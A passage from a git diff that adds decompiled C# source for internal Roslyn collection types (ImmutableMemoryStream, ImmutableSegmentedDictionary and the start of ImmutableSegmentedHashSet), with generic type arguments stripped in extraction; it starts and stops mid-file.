b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableMemoryStream.cs @@ -0,0 +1,93 @@ +using System; +using System.Collections.Immutable; +using System.IO; + +namespace Microsoft.CodeAnalysis.Collections; + +internal sealed class ImmutableMemoryStream : Stream +{ + private readonly ImmutableArray _array; + + private int _position; + + public override bool CanRead => true; + + public override bool CanSeek => true; + + public override bool CanWrite => false; + + public override long Length => _array.Length; + + public override long Position + { + get + { + return _position; + } + set + { + if (value < 0 || value >= _array.Length) + { + throw new ArgumentOutOfRangeException("value"); + } + _position = (int)value; + } + } + + internal ImmutableMemoryStream(ImmutableArray array) + { + _array = array; + } + + public ImmutableArray GetBuffer() + { + return _array; + } + + public override void Flush() + { + } + + public override int Read(byte[] buffer, int offset, int count) + { + int num = Math.Min(count, _array.Length - _position); + _array.CopyTo(_position, buffer, offset, num); + _position += num; + return num; + } + + public override long Seek(long offset, SeekOrigin origin) + { + long num; + try + { + num = checked(origin switch + { + SeekOrigin.Begin => offset, + SeekOrigin.Current => offset + _position, + SeekOrigin.End => offset + _array.Length, + _ => throw new ArgumentOutOfRangeException("origin"), + }); + } + catch (OverflowException) + { + throw new ArgumentOutOfRangeException("offset"); + } + if (num < 0 || num >= _array.Length) + { + throw new ArgumentOutOfRangeException("offset"); + } + _position = (int)num; + return num; + } + + public override void SetLength(long value) + { + throw new NotSupportedException(); + } + + public override void Write(byte[] buffer, int offset, int count) + { + throw new NotSupportedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableSegmentedDictionary.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableSegmentedDictionary.cs new file mode 100644 index 0000000..87ba1cc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableSegmentedDictionary.cs @@ -0,0 +1,1213 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace Microsoft.CodeAnalysis.Collections; + +internal static class ImmutableSegmentedDictionary +{ + public static ImmutableSegmentedDictionary Create() where TKey : notnull + { + return ImmutableSegmentedDictionary.Empty; + } + + public static ImmutableSegmentedDictionary Create(IEqualityComparer? keyComparer) where TKey : notnull + { + return ImmutableSegmentedDictionary.Empty.WithComparer(keyComparer); + } + + public static ImmutableSegmentedDictionary.Builder CreateBuilder() where TKey : notnull + { + return Create().ToBuilder(); + } + + public static ImmutableSegmentedDictionary.Builder CreateBuilder(IEqualityComparer? keyComparer) where TKey : notnull + { + return Create(keyComparer).ToBuilder(); + } + + public static ImmutableSegmentedDictionary CreateRange(IEnumerable> items) where TKey : notnull + { + return ImmutableSegmentedDictionary.Empty.AddRange(items); + } + + public static ImmutableSegmentedDictionary CreateRange(IEqualityComparer? keyComparer, IEnumerable> items) where TKey : notnull + { + return ImmutableSegmentedDictionary.Empty.WithComparer(keyComparer).AddRange(items); + } + + public static ImmutableSegmentedDictionary ToImmutableSegmentedDictionary(this IEnumerable> items) where TKey : notnull + { + return items.ToImmutableSegmentedDictionary(null); + } + + public static ImmutableSegmentedDictionary ToImmutableSegmentedDictionary(this ImmutableSegmentedDictionary.Builder builder) where TKey : notnull + { + if (builder == null) + { + throw new ArgumentNullException("builder"); + } + return builder.ToImmutable(); + } + + public static ImmutableSegmentedDictionary ToImmutableSegmentedDictionary(this IEnumerable> items, IEqualityComparer? keyComparer) where TKey : notnull + { + if (items == null) + { + throw new ArgumentNullException("items"); + } + if (items is ImmutableSegmentedDictionary immutableSegmentedDictionary) + { + return immutableSegmentedDictionary.WithComparer(keyComparer); + } + return ImmutableSegmentedDictionary.Empty.WithComparer(keyComparer).AddRange(items); + } + + public static ImmutableSegmentedDictionary ToImmutableSegmentedDictionary(this IEnumerable source, Func keySelector, Func elementSelector) where TKey : notnull + { + return source.ToImmutableSegmentedDictionary(keySelector, elementSelector, null); + } + + public static ImmutableSegmentedDictionary ToImmutableSegmentedDictionary(this IEnumerable source, Func keySelector, Func elementSelector, IEqualityComparer? keyComparer) where TKey : notnull + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + if (keySelector == null) + { + throw new ArgumentNullException("keySelector"); + } + if (elementSelector == null) + { + throw new ArgumentNullException("elementSelector"); + } + return ImmutableSegmentedDictionary.Empty.WithComparer(keyComparer).AddRange(source.Select((TSource element) => new KeyValuePair(keySelector(element), elementSelector(element)))); + } + + public static ImmutableSegmentedDictionary ToImmutableSegmentedDictionary(this IEnumerable source, Func keySelector) where TKey : notnull + { + return source.ToImmutableSegmentedDictionary(keySelector, (TSource x) => x, null); + } + + public static ImmutableSegmentedDictionary ToImmutableSegmentedDictionary(this IEnumerable source, Func keySelector, IEqualityComparer? keyComparer) where TKey : notnull + { + return source.ToImmutableSegmentedDictionary(keySelector, (TSource x) => x, keyComparer); + } +} +internal readonly struct ImmutableSegmentedDictionary : IImmutableDictionary, IReadOnlyDictionary, IEnumerable>, IEnumerable, IReadOnlyCollection>, IDictionary, ICollection>, IDictionary, ICollection, IEquatable> where TKey : notnull +{ + public sealed class Builder : IDictionary, ICollection>, IEnumerable>, IEnumerable, IReadOnlyDictionary, IReadOnlyCollection>, IDictionary, ICollection + { + public readonly struct KeyCollection : ICollection, IEnumerable, IEnumerable, IReadOnlyCollection, ICollection + { + private readonly ImmutableSegmentedDictionary.Builder _dictionary; + + public int Count => _dictionary.Count; + + bool ICollection.IsReadOnly => false; + + bool ICollection.IsSynchronized => false; + + object ICollection.SyncRoot => ((ICollection)_dictionary).SyncRoot; + + internal KeyCollection(ImmutableSegmentedDictionary.Builder dictionary) + { + _dictionary = dictionary; + } + + void ICollection.Add(TKey item) + { + throw new NotSupportedException(); + } + + public void Clear() + { + _dictionary.Clear(); + } + + public bool Contains(TKey item) + { + return _dictionary.ContainsKey(item); + } + + public void CopyTo(TKey[] array, int arrayIndex) + { + _dictionary.ReadOnlyDictionary.Keys.CopyTo(array, arrayIndex); + } + + public ImmutableSegmentedDictionary.KeyCollection.Enumerator GetEnumerator() + { + return new ImmutableSegmentedDictionary.KeyCollection.Enumerator(_dictionary.GetEnumerator()); + } + + public bool Remove(TKey item) + { + return _dictionary.Remove(item); + } + + void ICollection.CopyTo(Array array, int index) + { + ((ICollection)_dictionary.ReadOnlyDictionary.Keys).CopyTo(array, index); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + } + + public readonly struct ValueCollection : ICollection, IEnumerable, IEnumerable, IReadOnlyCollection, ICollection + { + private readonly ImmutableSegmentedDictionary.Builder _dictionary; + + public int Count => _dictionary.Count; + + bool ICollection.IsReadOnly => false; + + bool ICollection.IsSynchronized => false; + + object ICollection.SyncRoot => ((ICollection)_dictionary).SyncRoot; + + internal ValueCollection(ImmutableSegmentedDictionary.Builder dictionary) + { + _dictionary = dictionary; + } + + void ICollection.Add(TValue item) + { + throw new NotSupportedException(); + } + + public void Clear() + { + _dictionary.Clear(); + } + + public bool Contains(TValue item) + { + return _dictionary.ContainsValue(item); + } + + public void CopyTo(TValue[] array, int arrayIndex) + { + _dictionary.ReadOnlyDictionary.Values.CopyTo(array, arrayIndex); + } + + public ImmutableSegmentedDictionary.ValueCollection.Enumerator GetEnumerator() + { + return new ImmutableSegmentedDictionary.ValueCollection.Enumerator(_dictionary.GetEnumerator()); + } + + bool ICollection.Remove(TValue item) + { + throw new NotSupportedException(); + } + + void ICollection.CopyTo(Array array, int index) + { + ((ICollection)_dictionary.ReadOnlyDictionary.Values).CopyTo(array, index); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + } + + private ImmutableSegmentedDictionary _dictionary; + + private SegmentedDictionary? _mutableDictionary; + + public IEqualityComparer KeyComparer + { + get + { + return ReadOnlyDictionary.Comparer; + } + set + { + if (value == null) + { + throw new ArgumentNullException("value"); + } + if (value != KeyComparer) + { + SegmentedDictionary readOnlyDictionary = ReadOnlyDictionary; + _mutableDictionary = new SegmentedDictionary(value); + AddRange(readOnlyDictionary); + } + } + } + + public int Count => ReadOnlyDictionary.Count; + + public KeyCollection Keys => new KeyCollection(this); + + public ValueCollection Values => new ValueCollection(this); + + private SegmentedDictionary ReadOnlyDictionary => _mutableDictionary ?? _dictionary._dictionary; + + IEnumerable IReadOnlyDictionary.Keys => Keys; + + IEnumerable IReadOnlyDictionary.Values => Values; + + ICollection IDictionary.Keys => Keys; + + ICollection IDictionary.Values => Values; + + bool ICollection>.IsReadOnly => false; + + ICollection IDictionary.Keys => Keys; + + ICollection IDictionary.Values => Values; + + bool IDictionary.IsReadOnly => false; + + bool IDictionary.IsFixedSize => false; + + object ICollection.SyncRoot => this; + + bool ICollection.IsSynchronized => false; + + public TValue this[TKey key] + { + get + { + return ReadOnlyDictionary[key]; + } + set + { + GetOrCreateMutableDictionary()[key] = value; + } + } + + object? IDictionary.this[object key] + { + get + { + return ((IDictionary)ReadOnlyDictionary)[key]; + } + set + { + ((IDictionary)GetOrCreateMutableDictionary())[key] = value; + } + } + + internal Builder(ImmutableSegmentedDictionary dictionary) + { + _dictionary = dictionary; + } + + private SegmentedDictionary GetOrCreateMutableDictionary() + { + return _mutableDictionary ?? (_mutableDictionary = new SegmentedDictionary(_dictionary._dictionary, _dictionary.KeyComparer)); + } + + public void Add(TKey key, TValue value) + { + if (!Contains(new KeyValuePair(key, value))) + { + GetOrCreateMutableDictionary().Add(key, value); + } + } + + public void Add(KeyValuePair item) + { + Add(item.Key, item.Value); + } + + public void AddRange(IEnumerable> items) + { + if (items == null) + { + throw new ArgumentNullException("items"); + } + foreach (KeyValuePair item in items) + { + Add(item.Key, item.Value); + } + } + + public void Clear() + { + if (ReadOnlyDictionary.Count != 0) + { + if (_mutableDictionary == null) + { + _mutableDictionary = new SegmentedDictionary(KeyComparer); + } + else + { + _mutableDictionary.Clear(); + } + } + } + + public bool Contains(KeyValuePair item) + { + if (TryGetValue(item.Key, out var value)) + { + return EqualityComparer.Default.Equals(value, item.Value); + } + return false; + } + + public bool ContainsKey(TKey key) + { + return ReadOnlyDictionary.ContainsKey(key); + } + + public bool ContainsValue(TValue value) + { + return _dictionary.ContainsValue(value); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(GetOrCreateMutableDictionary(), Enumerator.ReturnType.KeyValuePair); + } + + public TValue? GetValueOrDefault(TKey key) + { + if (TryGetValue(key, out var value)) + { + return value; + } + return default(TValue); + } + + public TValue GetValueOrDefault(TKey key, TValue defaultValue) + { + if (TryGetValue(key, out var value)) + { + return value; + } + return defaultValue; + } + + public bool Remove(TKey key) + { + if (_mutableDictionary == null && !ContainsKey(key)) + { + return false; + } + return GetOrCreateMutableDictionary().Remove(key); + } + + public bool Remove(KeyValuePair item) + { + if (!Contains(item)) + { + return false; + } + GetOrCreateMutableDictionary().Remove(item.Key); + return true; + } + + public void RemoveRange(IEnumerable keys) + { + if (keys == null) + { + throw new ArgumentNullException("keys"); + } + foreach (TKey key in keys) + { + Remove(key); + } + } + + public bool TryGetKey(TKey equalKey, out TKey actualKey) + { + foreach (TKey key in Keys) + { + if (KeyComparer.Equals(key, equalKey)) + { + actualKey = key; + return true; + } + } + actualKey = equalKey; + return false; + } + + public bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + return ReadOnlyDictionary.TryGetValue(key, out value); + } + + public ImmutableSegmentedDictionary ToImmutable() + { + _dictionary = new ImmutableSegmentedDictionary(ReadOnlyDictionary); + _mutableDictionary = null; + return _dictionary; + } + + void ICollection>.CopyTo(KeyValuePair[] array, int arrayIndex) + { + ((ICollection>)ReadOnlyDictionary).CopyTo(array, arrayIndex); + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + return new Enumerator(GetOrCreateMutableDictionary(), Enumerator.ReturnType.KeyValuePair); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new Enumerator(GetOrCreateMutableDictionary(), Enumerator.ReturnType.KeyValuePair); + } + + bool IDictionary.Contains(object key) + { + return ((IDictionary)ReadOnlyDictionary).Contains(key); + } + + void IDictionary.Add(object key, object? value) + { + ((IDictionary)GetOrCreateMutableDictionary()).Add(key, value); + } + + IDictionaryEnumerator IDictionary.GetEnumerator() + { + return new Enumerator(GetOrCreateMutableDictionary(), Enumerator.ReturnType.DictionaryEntry); + } + + void IDictionary.Remove(object key) + { + ((IDictionary)GetOrCreateMutableDictionary()).Remove(key); + } + + void ICollection.CopyTo(Array array, int index) + { + ((ICollection)ReadOnlyDictionary).CopyTo(array, index); + } + } + + public struct Enumerator : IEnumerator>, IEnumerator, IDisposable, IDictionaryEnumerator + { + internal enum ReturnType + { + KeyValuePair, + DictionaryEntry + } + + private readonly SegmentedDictionary _dictionary; + + private readonly ReturnType _returnType; + + private SegmentedDictionary.Enumerator _enumerator; + + public readonly KeyValuePair Current => _enumerator.Current; + + readonly object IEnumerator.Current + { + get + { + if (_returnType != ReturnType.DictionaryEntry) + { + return Current; + } + return ((IDictionaryEnumerator)this).Entry; + } + } + + readonly DictionaryEntry IDictionaryEnumerator.Entry => new DictionaryEntry(Current.Key, Current.Value); + + readonly object IDictionaryEnumerator.Key => Current.Key; + + readonly object? IDictionaryEnumerator.Value => Current.Value; + + internal Enumerator(SegmentedDictionary dictionary, ReturnType returnType) + { + _dictionary = dictionary; + _returnType = returnType; + _enumerator = dictionary.GetEnumerator(); + } + + public readonly void Dispose() + { + _enumerator.Dispose(); + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + _enumerator = _dictionary.GetEnumerator(); + } + } + + public readonly struct KeyCollection : IReadOnlyCollection, IEnumerable, IEnumerable, ICollection, ICollection + { + public struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + private ImmutableSegmentedDictionary.Enumerator _enumerator; + + public readonly TKey Current => _enumerator.Current.Key; + + readonly object IEnumerator.Current => Current; + + internal Enumerator(ImmutableSegmentedDictionary.Enumerator enumerator) + { + _enumerator = enumerator; + } + + public readonly void Dispose() + { + _enumerator.Dispose(); + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + _enumerator.Reset(); + } + } + + private readonly ImmutableSegmentedDictionary _dictionary; + + public int Count => _dictionary.Count; + + bool ICollection.IsReadOnly => true; + + bool ICollection.IsSynchronized => true; + + object ICollection.SyncRoot => ((ICollection)_dictionary).SyncRoot; + + internal KeyCollection(ImmutableSegmentedDictionary dictionary) + { + _dictionary = dictionary; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_dictionary.GetEnumerator()); + } + + public bool Contains(TKey item) + { + return _dictionary.ContainsKey(item); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + void ICollection.CopyTo(TKey[] array, int arrayIndex) + { + _dictionary._dictionary.Keys.CopyTo(array, arrayIndex); + } + + void ICollection.CopyTo(Array array, int index) + { + ((ICollection)_dictionary._dictionary.Keys).CopyTo(array, index); + } + + void ICollection.Add(TKey item) + { + throw new NotSupportedException(); + } + + void ICollection.Clear() + { + throw new NotSupportedException(); + } + + bool ICollection.Remove(TKey item) + { + throw new NotSupportedException(); + } + + public bool All(Func predicate, TArg arg) + { + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + TKey current = enumerator.Current; + if (!predicate(current, arg)) + { + return false; + } + } + } + return true; + } + } + + internal static class PrivateInterlocked + { + internal static ImmutableSegmentedDictionary VolatileRead(in ImmutableSegmentedDictionary location) + { + SegmentedDictionary segmentedDictionary = Volatile.Read(in Unsafe.AsRef(in location._dictionary)); + if (segmentedDictionary == null) + { + return default(ImmutableSegmentedDictionary); + } + return new ImmutableSegmentedDictionary(segmentedDictionary); + } + + internal static ImmutableSegmentedDictionary InterlockedExchange(ref ImmutableSegmentedDictionary location, ImmutableSegmentedDictionary value) + { + SegmentedDictionary segmentedDictionary = Interlocked.Exchange(ref Unsafe.AsRef(in location._dictionary), value._dictionary); + if (segmentedDictionary == null) + { + return default(ImmutableSegmentedDictionary); + } + return new ImmutableSegmentedDictionary(segmentedDictionary); + } + + internal static ImmutableSegmentedDictionary InterlockedCompareExchange(ref ImmutableSegmentedDictionary location, ImmutableSegmentedDictionary value, ImmutableSegmentedDictionary comparand) + { + SegmentedDictionary segmentedDictionary = Interlocked.CompareExchange(ref Unsafe.AsRef(in location._dictionary), value._dictionary, comparand._dictionary); + if (segmentedDictionary == null) + { + return default(ImmutableSegmentedDictionary); + } + return new ImmutableSegmentedDictionary(segmentedDictionary); + } + } + + public readonly struct ValueCollection : IReadOnlyCollection, IEnumerable, IEnumerable, ICollection, ICollection + { + public struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + private ImmutableSegmentedDictionary.Enumerator _enumerator; + + public readonly TValue Current => _enumerator.Current.Value; + + readonly object? IEnumerator.Current => Current; + + internal Enumerator(ImmutableSegmentedDictionary.Enumerator enumerator) + { + _enumerator = enumerator; + } + + public readonly void Dispose() + { + _enumerator.Dispose(); + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + _enumerator.Reset(); + } + } + + private readonly ImmutableSegmentedDictionary _dictionary; + + public int Count => _dictionary.Count; + + bool ICollection.IsReadOnly => true; + + bool ICollection.IsSynchronized => true; + + object ICollection.SyncRoot => ((ICollection)_dictionary).SyncRoot; + + internal ValueCollection(ImmutableSegmentedDictionary dictionary) + { + _dictionary = dictionary; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_dictionary.GetEnumerator()); + } + + public bool Contains(TValue item) + { + return _dictionary.ContainsValue(item); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + void ICollection.CopyTo(TValue[] array, int arrayIndex) + { + _dictionary._dictionary.Values.CopyTo(array, arrayIndex); + } + + void ICollection.CopyTo(Array array, int index) + { + ((ICollection)_dictionary._dictionary.Values).CopyTo(array, index); + } + + void ICollection.Add(TValue item) + { + throw new NotSupportedException(); + } + + void ICollection.Clear() + { + throw new NotSupportedException(); + } + + bool ICollection.Remove(TValue item) + { + throw new NotSupportedException(); + } + + public bool All(Func predicate, TArg arg) + { + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + TValue current = enumerator.Current; + if (!predicate(current, arg)) + { + return false; + } + } + } + return true; + } + } + + public static readonly ImmutableSegmentedDictionary Empty = new ImmutableSegmentedDictionary(new SegmentedDictionary()); + + private readonly SegmentedDictionary _dictionary; + + public IEqualityComparer KeyComparer => _dictionary.Comparer; + + public int Count => _dictionary.Count; + + public bool IsEmpty => _dictionary.Count == 0; + + public bool IsDefault => _dictionary == null; + + public bool IsDefaultOrEmpty + { + get + { + int? num = _dictionary?.Count; + if (!num.HasValue || num.GetValueOrDefault() == 0) + { + return true; + } + return false; + } + } + + public KeyCollection Keys => new KeyCollection(this); + + public ValueCollection Values => new ValueCollection(this); + + ICollection IDictionary.Keys => Keys; + + ICollection IDictionary.Values => Values; + + IEnumerable IReadOnlyDictionary.Keys => Keys; + + IEnumerable IReadOnlyDictionary.Values => Values; + + bool ICollection>.IsReadOnly => true; + + ICollection IDictionary.Keys => Keys; + + ICollection IDictionary.Values => Values; + + bool IDictionary.IsReadOnly => true; + + bool IDictionary.IsFixedSize => true; + + object ICollection.SyncRoot => _dictionary; + + bool ICollection.IsSynchronized => true; + + public TValue this[TKey key] => _dictionary[key]; + + TValue IDictionary.this[TKey key] + { + get + { + return this[key]; + } + set + { + throw new NotSupportedException(); + } + } + + object? IDictionary.this[object key] + { + get + { + return ((IDictionary)_dictionary)[key]; + } + set + { + throw new NotSupportedException(); + } + } + + private ImmutableSegmentedDictionary(SegmentedDictionary dictionary) + { + _dictionary = dictionary ?? throw new ArgumentNullException("dictionary"); + } + + public static bool operator ==(ImmutableSegmentedDictionary left, ImmutableSegmentedDictionary right) + { + return left.Equals(right); + } + + public static bool operator !=(ImmutableSegmentedDictionary left, ImmutableSegmentedDictionary right) + { + return !left.Equals(right); + } + + public static bool operator ==(ImmutableSegmentedDictionary? left, ImmutableSegmentedDictionary? right) + { + return left.GetValueOrDefault().Equals(right.GetValueOrDefault()); + } + + public static bool operator !=(ImmutableSegmentedDictionary? left, ImmutableSegmentedDictionary? right) + { + return !left.GetValueOrDefault().Equals(right.GetValueOrDefault()); + } + + public ImmutableSegmentedDictionary Add(TKey key, TValue value) + { + ImmutableSegmentedDictionary result = this; + if (result.Contains(new KeyValuePair(key, value))) + { + return result; + } + return new ImmutableSegmentedDictionary(new SegmentedDictionary(result._dictionary, result._dictionary.Comparer) { { key, value } }); + } + + public ImmutableSegmentedDictionary AddRange(IEnumerable> pairs) + { + ImmutableSegmentedDictionary result = this; + if (result.IsEmpty && TryCastToImmutableSegmentedDictionary(pairs, out var other) && result.KeyComparer == other.KeyComparer) + { + return other; + } + SegmentedDictionary segmentedDictionary = null; + foreach (KeyValuePair pair in pairs) + { + if (!((ICollection>)(segmentedDictionary ?? result._dictionary)).Contains(pair)) + { + if (segmentedDictionary == null) + { + segmentedDictionary = new SegmentedDictionary(result._dictionary, result._dictionary.Comparer); + } + segmentedDictionary.Add(pair.Key, pair.Value); + } + } + if (segmentedDictionary == null) + { + return result; + } + return new ImmutableSegmentedDictionary(segmentedDictionary); + } + + public ImmutableSegmentedDictionary Clear() + { + ImmutableSegmentedDictionary result = this; + if (result.IsEmpty) + { + return result; + } + return Empty.WithComparer(result.KeyComparer); + } + + public bool Contains(KeyValuePair pair) + { + if (TryGetValue(pair.Key, out var value)) + { + return EqualityComparer.Default.Equals(value, pair.Value); + } + return false; + } + + public bool ContainsKey(TKey key) + { + return _dictionary.ContainsKey(key); + } + + public bool ContainsValue(TValue value) + { + return _dictionary.ContainsValue(value); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_dictionary, Enumerator.ReturnType.KeyValuePair); + } + + public ImmutableSegmentedDictionary Remove(TKey key) + { + ImmutableSegmentedDictionary result = this; + if (!result._dictionary.ContainsKey(key)) + { + return result; + } + SegmentedDictionary segmentedDictionary = new SegmentedDictionary(result._dictionary, result._dictionary.Comparer); + segmentedDictionary.Remove(key); + return new ImmutableSegmentedDictionary(segmentedDictionary); + } + + public ImmutableSegmentedDictionary RemoveRange(IEnumerable keys) + { + if (keys == null) + { + throw new ArgumentNullException("keys"); + } + Builder builder = ToBuilder(); + builder.RemoveRange(keys); + return builder.ToImmutable(); + } + + public ImmutableSegmentedDictionary SetItem(TKey key, TValue value) + { + ImmutableSegmentedDictionary result = this; + if (result.Contains(new KeyValuePair(key, value))) + { + return result; + } + return new ImmutableSegmentedDictionary(new SegmentedDictionary(result._dictionary, result._dictionary.Comparer) { [key] = value }); + } + + public ImmutableSegmentedDictionary SetItems(IEnumerable> items) + { + if (items == null) + { + throw new ArgumentNullException("items"); + } + Builder builder = ToBuilder(); + foreach (KeyValuePair item in items) + { + builder[item.Key] = item.Value; + } + return builder.ToImmutable(); + } + + public bool TryGetKey(TKey equalKey, out TKey actualKey) + { + ImmutableSegmentedDictionary immutableSegmentedDictionary = this; + foreach (TKey key in immutableSegmentedDictionary.Keys) + { + if (immutableSegmentedDictionary.KeyComparer.Equals(key, equalKey)) + { + actualKey = key; + return true; + } + } + actualKey = equalKey; + return false; + } + + public bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + return _dictionary.TryGetValue(key, out value); + } + + public ImmutableSegmentedDictionary WithComparer(IEqualityComparer? keyComparer) + { + if (keyComparer == null) + { + keyComparer = EqualityComparer.Default; + } + ImmutableSegmentedDictionary immutableSegmentedDictionary = this; + if (immutableSegmentedDictionary.KeyComparer == keyComparer) + { + return immutableSegmentedDictionary; + } + if (immutableSegmentedDictionary.IsEmpty) + { + if (keyComparer == Empty.KeyComparer) + { + return Empty; + } + return new ImmutableSegmentedDictionary(new SegmentedDictionary(keyComparer)); + } + return ImmutableSegmentedDictionary.CreateRange(keyComparer, immutableSegmentedDictionary); + } + + public Builder ToBuilder() + { + return new Builder(this); + } + + public override int GetHashCode() + { + return _dictionary?.GetHashCode() ?? 0; + } + + public override bool Equals(object? obj) + { + if (obj is ImmutableSegmentedDictionary other) + { + return Equals(other); + } + return false; + } + + public bool Equals(ImmutableSegmentedDictionary other) + { + return _dictionary == other._dictionary; + } + + IImmutableDictionary IImmutableDictionary.Clear() + { + return Clear(); + } + + IImmutableDictionary IImmutableDictionary.Add(TKey key, TValue value) + { + return Add(key, value); + } + + IImmutableDictionary IImmutableDictionary.AddRange(IEnumerable> pairs) + { + return AddRange(pairs); + } + + IImmutableDictionary IImmutableDictionary.SetItem(TKey key, TValue value) + { + return SetItem(key, value); + } + + IImmutableDictionary IImmutableDictionary.SetItems(IEnumerable> items) + { + return SetItems(items); + } + + IImmutableDictionary IImmutableDictionary.RemoveRange(IEnumerable keys) + { + return RemoveRange(keys); + } + + IImmutableDictionary IImmutableDictionary.Remove(TKey key) + { + return Remove(key); + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + return new Enumerator(_dictionary, Enumerator.ReturnType.KeyValuePair); + } + + IDictionaryEnumerator IDictionary.GetEnumerator() + { + return new Enumerator(_dictionary, Enumerator.ReturnType.DictionaryEntry); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new Enumerator(_dictionary, Enumerator.ReturnType.KeyValuePair); + } + + void ICollection>.CopyTo(KeyValuePair[] array, int arrayIndex) + { + ((ICollection>)_dictionary).CopyTo(array, arrayIndex); + } + + bool IDictionary.Contains(object key) + { + return ((IDictionary)_dictionary).Contains(key); + } + + void ICollection.CopyTo(Array array, int index) + { + ((ICollection)_dictionary).CopyTo(array, index); + } + + void IDictionary.Add(TKey key, TValue value) + { + throw new NotSupportedException(); + } + + bool IDictionary.Remove(TKey key) + { + throw new NotSupportedException(); + } + + void ICollection>.Add(KeyValuePair item) + { + throw new NotSupportedException(); + } + + void ICollection>.Clear() + { + throw new NotSupportedException(); + } + + bool ICollection>.Remove(KeyValuePair item) + { + throw new NotSupportedException(); + } + + void IDictionary.Add(object key, object? value) + { + throw new NotSupportedException(); + } + + void IDictionary.Clear() + { + throw new NotSupportedException(); + } + + void IDictionary.Remove(object key) + { + throw new NotSupportedException(); + } + + private static bool TryCastToImmutableSegmentedDictionary(IEnumerable> pairs, out ImmutableSegmentedDictionary other) + { + if (pairs is ImmutableSegmentedDictionary immutableSegmentedDictionary) + { + other = immutableSegmentedDictionary; + return true; + } + if (pairs is Builder builder) + { + other = builder.ToImmutable(); + return true; + } + other = default(ImmutableSegmentedDictionary); + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableSegmentedHashSet.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableSegmentedHashSet.cs new file mode 100644 index 0000000..df45e0d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableSegmentedHashSet.cs @@ -0,0 +1,766 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.CodeAnalysis.Collections.Internal; + +namespace Microsoft.CodeAnalysis.Collections; + +internal static class ImmutableSegmentedHashSet +{ + public static ImmutableSegmentedHashSet Create() + { + return ImmutableSegmentedHashSet.Empty; + } + + public static ImmutableSegmentedHashSet Create(T item) + { + return ImmutableSegmentedHashSet.Empty.Add(item); + } + + public static ImmutableSegmentedHashSet Create(params T[] items) + { + return ImmutableSegmentedHashSet.Empty.Union(items); + } + + public static ImmutableSegmentedHashSet Create(IEqualityComparer? equalityComparer) + { + return ImmutableSegmentedHashSet.Empty.WithComparer(equalityComparer); + } + + public static ImmutableSegmentedHashSet Create(IEqualityComparer? equalityComparer, T item) + { + return ImmutableSegmentedHashSet.Empty.WithComparer(equalityComparer).Add(item); + } + + public static ImmutableSegmentedHashSet Create(IEqualityComparer? equalityComparer, params T[] items) + { + return ImmutableSegmentedHashSet.Empty.WithComparer(equalityComparer).Union(items); + } + + public static ImmutableSegmentedHashSet.Builder CreateBuilder() + { + return ImmutableSegmentedHashSet.Empty.ToBuilder(); + } + + public static ImmutableSegmentedHashSet.Builder CreateBuilder(IEqualityComparer? equalityComparer) + { + return ImmutableSegmentedHashSet.Empty.WithComparer(equalityComparer).ToBuilder(); + } + + public static ImmutableSegmentedHashSet CreateRange(IEnumerable items) + { + if (items is ImmutableSegmentedHashSet immutableSegmentedHashSet) + { + return immutableSegmentedHashSet.WithComparer(null); + } + return ImmutableSegmentedHashSet.Empty.Union(items); + } + + public static ImmutableSegmentedHashSet CreateRange(IEqualityComparer? equalityComparer, IEnumerable items) + { + if (items is ImmutableSegmentedHashSet immutableSegmentedHashSet) + { + return immutableSegmentedHashSet.WithComparer(equalityComparer); + } + return ImmutableSegmentedHashSet.Empty.WithComparer(equalityComparer).Union(items); + } + + public static ImmutableSegmentedHashSet ToImmutableSegmentedHashSet(this IEnumerable source) + { + if (source is ImmutableSegmentedHashSet immutableSegmentedHashSet) + { + return immutableSegmentedHashSet.WithComparer(null); + } + return ImmutableSegmentedHashSet.Empty.Union(source); + } + + public static ImmutableSegmentedHashSet ToImmutableSegmentedHashSet(this IEnumerable source, IEqualityComparer? equalityComparer) + { + if (source is ImmutableSegmentedHashSet immutableSegmentedHashSet) + { + return 